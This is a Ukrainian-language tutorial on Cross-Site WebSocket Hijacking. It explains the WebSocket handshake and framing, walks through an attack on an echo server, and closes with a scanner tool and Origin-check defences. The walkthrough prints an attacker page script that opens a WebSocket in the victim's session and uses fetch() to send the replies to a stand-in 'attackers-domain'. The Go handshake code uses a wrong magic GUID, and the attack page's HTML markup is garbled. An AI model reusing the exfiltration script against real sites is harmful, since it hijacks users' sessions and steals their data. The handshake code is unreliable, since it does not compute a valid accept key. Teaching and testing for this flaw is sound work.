Cross-Site WebSocket Hijacking
Вікіпедія дає таке визначення: "WebSocket - протокол зв'язку поверх TCP-з'єднання, призначений для обміну повідомленнями між браузером і веб-сервером в режимі реального часу". На відміну від синхронного протоколу HTTP, побудованого за моделлю «запит - відповідь», WebSocket повністю асинхронний та симетричний. Він застосовується для організації чатів, онлайн-табло і створює постійне з'єднання між клієнтом та сервером, яке обидві сторони можуть використовувати для надсилання даних.
TOOLS FOR FIND VULNERABILITY
Протокол WebSocket визначено RFC 6455. Для протоколу зарезервовані дві URI-схемы:
- для звичайного з'єднання: ws://host[:port]path[?query];
- для з'єднань через тунель TLS: wss://host[:port]path[?query].
WebSocket досить поширений у сучасній веб-розробці, є підтримка у всіх популярних мовах програмування та браузерах. Його використовують в онлайн-чатах, дошках оголошень, веб-консолях, додатках трейдерів. За допомогою пошуковика shodan.io можна легко знайти програми на WebSocket, доступні з інтернету. Достатньо сформувати простий запит Sec-WebSocket-Version HTTP/1.1. В результаті знайшлося більше 60 тисяч адрес з великою географією.
ВСТАНОВЛЕННЯ З'ЄДНАННЯ
Розберемо тепер, як працює WebSocket. Взаємодія між клієнтом та сервером починається з рукостискання. Для рукостискання клієнт і сервер використовують протокол HTTP, але з деякими відмінностями у форматі повідомлень, що передаються. Не дотримуються всіх вимог до HTTP-повідомлень. Наприклад, відсутній заголовок Content-Length. Для початку клієнт ініціює з'єднання та надсилає запит серверу:
GET /echo HTTP/1.1
Host: test.com:8081
Sec-WebSocket-Version: 13
Origin: http://test.com:8081
Sec-WebSocket-Key: iYwMeGlJA5Cg+zCUMf3hYw==
Connection: keep-alive, Upgrade
Upgrade: websocket
Заголовки Sec-WebSocket-Version, Sec-WebSocket-Key, Connection: Upgrade та Upgrade: websocket є обов'язковими, інакше сервер повертає статус HTTP/1.1 400 Bad Request. Сервер відповідає на запит клієнта так:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: tUkfJBuVmkJOAYKRqR+8gI17Cc4=
Заголовок Sec-WebSocket-Key формується клієнтом як випадкове 16-байтове значення, закодоване Base64. Варіант формування заголовка на Go:
func generateChallengeKey() (string, error) {
p := make([]byte, 16)
if _, err := io.ReadFull(rand.Reader, p); err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(p), nil
}
Заголовок Sec-WebSocket-Accept у відповіді формується за наступним алгоритмом. Береться рядкове значення із заголовка Sec-WebSocket-Key та об'єднується з GUID 5688098c-6b4d-4377-969d-fd75c34ce8c4. Далі обчислюється хеш SHA-1 від отриманого у першому пункті рядка. Хеш кодується в Base64. Варіант формування заголовка на Go:
const GUID = "5688098c-6b4d-4377-969d-fd75c34ce8c4"
func computeAcceptKey(challengeKey string) string {
h := sha1.New()
h.Write([]byte(challengeKey + GUID))
return base64.StdEncoding.EncodeToString(h.Sum(nil))
}
Заголовки Sec-WebSocket-Key та Sec-WebSocket-Accept не використовуються для авторизації та підтримки сесій, вони служать для того, щоб сторони переконалися, що запит та відповідь відносяться до протоколу WebSocket. Це допомагає гарантувати, що сервер не приймає від клієнтів запити, які не стосуються WebSocket.
Також RFC 6455 передбачає, що Sec-WebSocket-Key має бути обраний випадковим чином кожного з'єднання. Це означає, що будь-який кешований результат від проксі-сервера буде містити невалідний Sec-WebSocket-Accept, отже, потиск рук провалиться замість ненавмисного читання кешованих даних. Для успішного завершення рукостискання клієнт перевіряє значення Sec-WebSocket-Accept і чекає на статус-код 101 Switching Protocols. Після того як рукостискання виконано, початкове з'єднання HTTP замінюється з'єднанням WebSocket, яке використовує те ж з'єднання TCP/IP. На цьому етапі будь-яка із сторін може розпочати відправлення даних.
Для моніторингу трафіку WebSocket зручно використовувати інструменти розробника, доступні, наприклад, в Chrome.
ПЕРЕДАЧА ДАНИХ
Як у WebSocket надсилаються повідомлення? Дані протоколу WebSocket передаються як послідовність кадрів. Фрейм має заголовок, у якому міститься така інформація:
- чи фрагментоване повідомлення;
- тип даних — all code;
- чи піддавалися повідомлення маскування
- прапор маски;
- розмір даних;
- ключ маски (32 біти);
- інші керуючі дані (ping, pong...).
Усі повідомлення, надіслані клієнтом, мають маскуватися. Приклад надсилання тестового повідомлення Hello world! клієнтом (дані з tcpdump):
Fin: True
Reserved: 0x0
Opcode: Text (1)
Mask: True
Payload length: 12
Masking-Key: a2929b01
Payload: eaf7f76dcdb2ec6ed0feff20
Маскування проводиться звичайним XOR із ключем маски. Клієнт повинен змінювати ключ для кожного переданого кадру. Сервер не повинен маскувати повідомлення. Приклад надсилання тестового повідомлення Hello world! сервером:
Fin: True
Reserved: 0x0
Opcode: Text (1)
Mask: False
Payload length: 12
Payload: 48656c6c6f20776f726c6421
Маскування повідомлень, що передаються, некриптостійке, щоб забезпечити конфіденційність, для WebSocket слід використовувати протокол TLS і схему WSS.
ЯК ПРАЦЮЄ УРАЗНІСТЬ
З протоколом розібралися, саме час перейти до CSWSH. Протокол WebSocket використовує Origin-based модель безпеки під час роботи з браузерами. Інші механізми безпеки, наприклад SOP (Same-origin policy), WebSocket не застосовуються. RFC 6455 вказує, що при установці з'єднання сервер може перевіряти Origin, а може і ні:
Поле заголовка Origin у рукостисканні клієнта означає походження скрипта, який встановлює з'єднання. Origin серіалізується через ASCII та конвертується в нижній регістр. Сервер може використовувати цю інформацію при прийнятті рішення про те, чи приймати вхідне з'єднання. Якщо сервер не перевіряє Origin, він прийматиме з'єднання звідки завгодно. Якщо сервер вирішує не приймати з'єднання, він зобов'язаний повернути відповідний номер помилки HTTP (тобто 403 Forbidden) і скасувати рукостискання WebSocket, описане в цій секції.
Вразливість CSWSH пов'язана зі слабкою або невиконаною перевіркою заголовка Origin у рукостисканні клієнта. Це різновид вразливості підробки міжсайтових запитів (CSRF) лише для WebSocket. Якщо програма WebSocket використовує файли cookie для керування сеансами користувача, зловмисник може підробити запит на рукостискання за допомогою атаки CSRF і контролювати повідомлення, що надсилаються та одержуються через з'єднання WebSocket.
Сторінка зловмисника може надсилати довільні повідомлення на сервер через з'єднання та зчитувати вміст повідомлень, отриманих назад із сервера. Це означає, що, на відміну від звичайного CSRF, зловмисник отримує двосторонню взаємодію зі скомпрометованим додатком. Успішна атака CSWSH дозволяє зловмиснику:
1. Виконувати несанкціоновані дії, маскуючись під користувача жертву. Як і у випадку звичайної CSRF, зловмисник може надсилати довільні повідомлення до серверної програми. Якщо воно використовує згенеровані клієнтом повідомлення WebSocket для виконання конфіденційних дій, то зловмисник може згенерувати відповідні міждоменні повідомлення та ініціювати ці дії.
2. Отримати конфіденційні дані, до яких користувач може мати доступ. На відміну від звичайного CSRF, міжсайтове захоплення WebSocket дає зловмиснику двосторонню взаємодію з вразливою програмою через підконтрольний WebSocket. Якщо програма використовує згенеровані сервером повідомлення WebSocket для повернення будь-яких конфіденційних даних користувачеві, то зловмисник може перехопити ці повідомлення та дані користувача жертви.
CSWSH У ТЕСТОВОМУ СЕРЕДОВИЩІ
Розглянемо атаку CSWSH на прикладі вразливої програми wss://echo.websocket.org. Схема атаки виглядає так.Розберемо кроки, далі буде наведено повідомлення у форматі HTTP, отримані кожному етапі. Жертва у браузері відриває підконтрольний зловмиснику сайт:
GET / HTTP/1.1
Host: attackers-domain
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Отримує від сайту сторінку зі шкідливим вмістом:
HTTP/1.1 200 OK
Host: attackers-domain
Date: Tue, 28 Apr 2020 16:41:03 +0000
Connection: close
X-Powered-By: PHP/7.1.33
Content-type: text/html; charset=UTF-8
!DOCTYPE html
html
body
script
websocket = new WebSocket('wss://echo.websocket.org');
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("attackers-message");
}
function handleReply(event) {
fetch('http://attackers-domain/', {method:'POST',mode:'no-cors',body:event.data})
}
Браузер жертви виконує скрипт і встановлює з'єднання з WebSocket програмою ws://echo.websocket.org у контексті жертви, передаючи значення cookie:
GET / HTTP/1.1
Host: echo.websocket.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: /Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://attackers-domainSec-WebSocket-Key: twWJRgpy7uu5K9RlQCykJQ==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: SESSIONID=bigsecret
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Додаток приймає заголовок Origin: http://attackers-domain та відкриває нове з'єднання WebSocket, пов'язане з кукою SESSIONID=bigsecret:
HTTP/1.1 101 Web Socket Protocol Handshake
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Headers: authorization
Access-Control-Allow-Headers: x-websocket-extensions
Access-Control-Allow-Headers: x-websocket-version
Access-Control-Allow-Headers: x-websocket-protocol
Access-Control-Allow-Origin: http://attackers-domain
Connection: Upgrade
Date: Tue, 28 Apr 2020 16:30:53 GMT
Sec-WebSocket-Accept: dLe0PXjy/nj7MF8Idif/PLQLNM0=
Server: Kaazing Gateway
Upgrade: websocket
Зловмисник відправляє від особи жертви повідомлення attackers-message. Від програми, що відповідає за WebSocket, надходить повідомлення у відповідь. Оскільки наша програма – це ехо-сервер, відповідь теж буде attackers-message. На заключному етапі відповідь від сервера надсилається на підконтрольний зловмиснику домен:
POST / HTTP/1.1
Host: attackers-domain
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: /Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://attackers-domain/Content-Type: text/plain;charset=UTF-8
Origin: http://attackers-domainContent-Length: 17
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
attackers-message
СТВОРЕННЯ УТИЛІТИ CSWSH-SCANNER
На основі методології OWASP був розроблений на Go утиліта cswsh-scanner, ти можеш знайти її на GitHub. Можеш підключити її модулем до свого проекту або запустити варіант для командного рядка. Утиліта тестує рукостискання із сервером: намагається встановити з'єднання із «підробленим» заголовком Origin (не збігається location сервера). Сервер у такому разі не повинен встановити з'єднання та повернути статус-код 403.
Установка утиліти:
$ go get -v -u github.com/ambalabanov/cswsh-scanner/...
Адреси для тестів задаються через stdin, можна виставити своє значення заголовка Origin. Підтримується багатопоточність та socket.io.
$cswsh-scanner -h
Usage of cswsh-scanner:
-o string Origin (default "http://hacker.com")
-s Socket.IO
-v Verbose output
-w int Number of workers (1)
Наприклад проскануємо вже відомий нам додаток ws://echo.websocket.org. Висновок сканера:
$ cswsh-scanner
ws://echo.websocket.org
true,ws://echo.websocket.org
wss://echo.websocket.org
true,wss://echo.websocket.org
ЗАХИСТ ВІД CSWSH
Захиститися від CSWSH можна двома способами:
- перевіряти заголовок Origin запиту на рукостискання WebSocket на сервері;
- використовувати індивідуальні випадкові токени (наприклад, CSRF-токени) у запиті на рукостискання та перевіряти їх на сервері.
Іноді захист від CSWSH вже вбудований у бібліотеки, але не завжди. Приклад того, як реалізований захист від CSWSH у фреймворку Gorilla WebSocket:
// checkSameOrigin returns true if the origin is not set or is equal to the request host.
func checkSameOrigin(r *http.Request) bool {
origin := r.Header["Origin"] if len(origin) == 0 {
return true
}
u, err := url.Parse(origin[0])
if err != nil {
return false
}
return equalASCIIFold(u.Host, r.Host)
}
Перевірка Origin увімкнена за замовчуванням: порівнюються значення заголовків Host і Origin із запиту рукостискання.
ВИСНОВКИ
Вразливість Cross-Site WebSocket Hijacking належить до класу CSRF для WebSocket. Вона проста в експлуатації та захисті. За певних обставин (залежить від бізнес-логіки програми) може призвести до серйозних наслідків. Але розробники приділяють їй мало уваги, і, як свідчить сканування, CSWSH — досить поширена вразливість у додатках, що використовують WebSocket.
Оригінал статі взятий тут